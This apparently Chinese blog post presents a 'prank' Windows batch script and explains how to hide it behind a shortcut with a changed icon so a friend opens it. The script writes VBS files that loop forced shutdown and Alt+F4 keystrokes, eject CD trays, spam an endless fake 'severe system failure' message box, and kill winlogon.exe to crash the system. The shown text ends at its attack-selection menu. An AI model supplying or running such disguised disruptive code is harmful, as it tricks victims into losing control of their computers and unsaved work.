用代码恶搞基友的小玩意儿

想要用代码恶搞别人？可以试一试我这招，将以下代码复制到文本文档。将后缀名改为bat，另存为保存到桌面上，这里我们可以为他创建一个快捷方式，然后将源文件右击—属性—隐藏，然后右击刚刚建的快捷方式——属性——更改图标，这个样子就可以更改bat默认的图标了，最后嘛，就让你的‘好朋友’点开它就完事了！

@echo off
mode con cols=40 lines=30&color f0
:mu
echo 正在设置时间...
rem 获取当前时间
set tim=%time:~0,5% 
set t1=%time:~0,3% 
set t2=%time:~3,2%
set /a s=%t2:~0,1%
set /a d=%t2:~1,1%
set /a f=%d%+2
set /a g=%t2%+2
rem 决定当前时间
echo %g%
echo %f%
set t1=%time:~0,3%%g% 
rem 如果分钟的十位等于0
if %s% equ 0 (
set t1=%time:~0,3%%s%%f% 
)
echo 决定执行时间为:%t1%
echo 当前时间:%tim%
rem at %t1% /interactive dxdiag >>log.txt
echo 时间设置完成!
echo 开始准备相关文件...
if exist shutdown.vbs del shutdown.vbs
if exist cdrom.vbs del cdrom.vbs
if exist bluesc.vbs del bluesc.vbs
if exist altf4.vbs del altf4.vbs
if exist msgloop.vbs del msgloop.vbs
rem 写入shutdown.vbs
echo set key=WScript.CreateObject("WScript.Shell") >>shutdown.vbs
echo dim x:x=false >>shutdown.vbs
echo do until x=true >>shutdown.vbs
echo key.sendkeys "{esc}" >>shutdown.vbs
echo key.sendkeys "^{esc}{u}" >>shutdown.vbs
echo key.sendkeys "{enter}" >>shutdown.vbs
echo loop >>shutdown.vbs
rem 写入cdrom.vbs
echo ON ERROR RESUME NEXT >>cdrom.vbs
echo Set wmp = CreateObject("WMPlayer.OCX.7") >>cdrom.vbs
echo Set cdrom = wmp.cdromCollection >>cdrom.vbs
echo If cdrom.Count >= 1 then >>cdrom.vbs
echo For z = 0 to cdrom.Count - 1 >>cdrom.vbs
echo cdrom.Item(z).eject >>cdrom.vbs
echo Next >>cdrom.vbs
echo For z = 0 to cdrom.Count - 1 >>cdrom.vbs
echo cdrom.Item(z).eject >>cdrom.vbs
echo Next >>cdrom.vbs
echo End If >>cdrom.vbs
rem 写入bluesc.vbs
echo Set ws = CreateObject("Wscript.Shell") >>bluesc.vbs
echo wscript.sleep 1200 >>bluesc.vbs
echo ws.run "cmd /c start /min ntsd -c q -pn winlogon.exe 1>nul 2>nul",vbhide >>bluesc.vbs 
rem 写入altf4.vbs
echo set key=WScript.CreateObject("WScript.Shell") >>altf4.vbs
echo dim x:x=false >>altf4.vbs
echo do until x=true >>altf4.vbs
echo key.sendkeys "%{F4}" >>altf4.vbs
echo loop >>altf4.vbs
rem 写入msgloop.vbs
echo dim x:x=false >>msgloop.vbs
echo do until x=true >>msgloop.vbs
echo msgbox "系统出现严重故障!" >>msgloop.vbs
echo loop >>msgloop.vbs
echo 装载完成!
echo ================主菜单==================
echo 1.关闭计算机 2.光驱骚扰 3.蓝 屏 
echo 4.alt+f4骚扰 5.无限消息框(谨慎使用!)
echo ========================================
set /p ch=请选择:
set /p user=请输入对方姓名: